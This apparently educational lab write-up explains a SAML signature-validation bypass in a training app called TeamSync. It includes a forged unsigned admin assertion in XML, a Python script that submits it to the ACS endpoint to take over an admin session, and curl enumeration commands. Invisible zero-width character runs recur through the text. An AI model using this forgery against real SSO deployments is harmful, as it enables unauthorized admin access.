← Back to Writeups
CUSTOMMediumWeb

Lab 305 — TeamSync — SAML Signature Bypass to Admin Takeover

XESXOR9/2/20264 min read
#web#custom#medium#forged_assertion_submission#role_claim_tampering#saml_signature_validation_bypa#unsigned_samlresponse_forgery

Lab 305 — TeamSync — SAML Signature Bypass to Admin Takeover

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: forged_assertion_submission, role_claim_tampering, saml_signature_validation_bypass, unsigned_samlresponse_forgery

Summary

Walkthrough of the CUSTOM Web Lab 305 — TeamSync — SAML Signature Bypass to Admin Takeover. Task: TeamSync exposes a SAML SSO flow where configuration can be enumerated through the web app and API. Solution: discover that signature validation is optional, forge an unsigned SAMLResponse with

Description

Lab 305 — TeamSync — SAML Signature Bypass to Admin Takeover

Credentials: user@test.com / password123

English summary: TeamSync is a web application with local login and a SAML SSO flow. The goal is to analyze the SSO configuration, escalate to an admin session, and retrieve the real flag from /admin while ignoring the decoy flag shown on normal pages.

Analysis

Initial Reconnaissance

Using the provided account user@test.com / password123, the application allowed normal login and exposed an SSO button on /login pointing to /saml/login. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Authenticated and unauthenticated pages both contained the decoy value FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}. This was an anti-bot trap and not the real flag.

SAML Flow Discovery

Requesting /saml/login returned a 302 redirect to an internal IdP URL:

text
http://localhost:3001/saml/login?email=user%40teamsync.local

When already authenticated, the email parameter could also appear as user@test.com. This confirmed that the application delegated authentication to a local IdP service and consumed a SAML response through its Assertion Consumer Service. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Useful Information Leak

The /settings page exposed SAML-related details and included a hint to inspect /api/saml/config. That endpoint was accessible without special privileges and returned the relevant configuration:

json
{
  "sp_entity_id": "teamsync-sp",
  "acs_url": "/saml/acs",
  "idp_url": "http://localhost:3001/saml/login",
  "signature_validation": "optional",
  "name_id_format": "emailAddress"
}

The critical field was:

json
"signature_validation": "optional"

That means the service provider accepted SAML assertions even when they were not signed. Once this was known, there was no need to break XML signatures or attack the IdP itself. We could directly forge a SAML assertion with attacker-controlled identity and role claims. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability

The application trusted attributes from the SAML assertion, especially:

  • NameID
  • email
  • role

Because signature validation was optional, an attacker could submit an unsigned SAMLResponse to /saml/acs containing:

  • admin@teamsync.local as the identity
  • admin as the role

If accepted, the application created a valid admin session and redirected to /dashboard.

Solution

Step 1: Log in and enumerate the SSO flow

Log in with the provided credentials and inspect /login, /settings, and /api/saml/config. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Example checks:

bash
curl -i "$URL/saml/login"
curl -s -b cookies.txt "$URL/api/saml/config"

This reveals the ACS path and the insecure signature_validation: optional setting.

Step 2: Forge an unsigned SAML response

Create a minimal SAML response that declares the admin identity and role. No signature is required because the server accepts unsigned assertions.

xml
<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
                xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
                ID="resp1"
                Version="2.0"
                IssueInstant="2026-05-16T18:00:00Z">
  <saml:Issuer>http://localhost:3001/saml</saml:Issuer>
  <samlp:Status>
    <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
  </samlp:Status>
  <saml:Assertion ID="assert1" Version="2.0" IssueInstant="2026-05-16T18:00:00Z">
    <saml:Issuer>http://localhost:3001/saml</saml:Issuer>
    <saml:Subject>
      <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@teamsync.local</saml:NameID>
    </saml:Subject>
    <saml:AttributeStatement>
      <saml:Attribute Name="email"><saml:AttributeValue>admin@teamsync.local</saml:AttributeValue></saml:Attribute>
      <saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Base64-encode and submit it to the ACS endpoint

The local exploit script in tasks/hackadvisor/lab305-teamsync-saml-bypass/exploit.py was enough to automate the attack.

python
#!/usr/bin/env python3

import base64
import re
import sys

import requests


def real_flag(text: str):
    for match in re.findall(r"FLAG\{[^}]+\}", text):
        low = match.lower()
        if "d3c0y" not in low and "decoy" not in low:
            return match
    return None


def build_unsigned_admin_response() -> str:
    return '''<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
                xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
                ID="resp1"
                Version="2.0"
                IssueInstant="2026-05-16T18:00:00Z">
  <saml:Issuer>http://localhost:3001/saml</saml:Issuer>
  <samlp:Status>
    <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
  </samlp:Status>
  <saml:Assertion ID="assert1" Version="2.0" IssueInstant="2026-05-16T18:00:00Z">
    <saml:Issuer>http://localhost:3001/saml</saml:Issuer>
    <saml:Subject>
      <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@teamsync.local</saml:NameID>
    </saml:Subject>
    <saml:AttributeStatement>
      <saml:Attribute Name="email">
        <saml:AttributeValue>admin@teamsync.local</saml:AttributeValue>
      </saml:Attribute>
      <saml:Attribute Name="role">
        <saml:AttributeValue>admin</saml:AttributeValue>
      </saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>'''
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def main():
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} https://<uuid>.labs.hackadvisor.io")
        sys.exit(1)

    base = sys.argv[1].rstrip("/")
    session = requests.Session()

    xml = build_unsigned_admin_response()
    saml_response = base64.b64encode(xml.encode()).decode()

    resp = session.post(f"{base}/saml/acs", data={"SAMLResponse": saml_response}, allow_redirects=False, timeout=20)
    print(f"[*] POST /saml/acs -> {resp.status_code} {resp.headers.get('Location', '')}")
    print(f"[*] Cookies: {session.cookies.get_dict()}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    admin = session.get(f"{base}/admin", timeout=20)
    print(f"[*] GET /admin -> {admin.status_code}")

    flag = real_flag(admin.text) or real_flag(resp.text)
    if flag:
        print(f"[+] FLAG: {flag}")
        return

    print("[-] Real flag not found")
    print(admin.text[:400])
    sys.exit(2)


if __name__ == "__main__":
    main()

Run it against the instance:

bash
python3 exploit.py https://5b3f01d2-80cb-47df-b1b7-ccbdcce7a227.labs.hackadvisor.io/

The server accepted the unsigned SAMLResponse, set a session cookie, and redirected to /dashboard. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Access the admin page

With the forged session, request /admin. That page returned the real flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering forged_assertion_submission, role_claim_tampering, saml_signature_validation_bypass, unsigned_samlresponse_forgery was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-16 • CUSTOM • Lab 305 — TeamSync — SAML Signature Bypass to Admin Takeover • Difficulty: Medium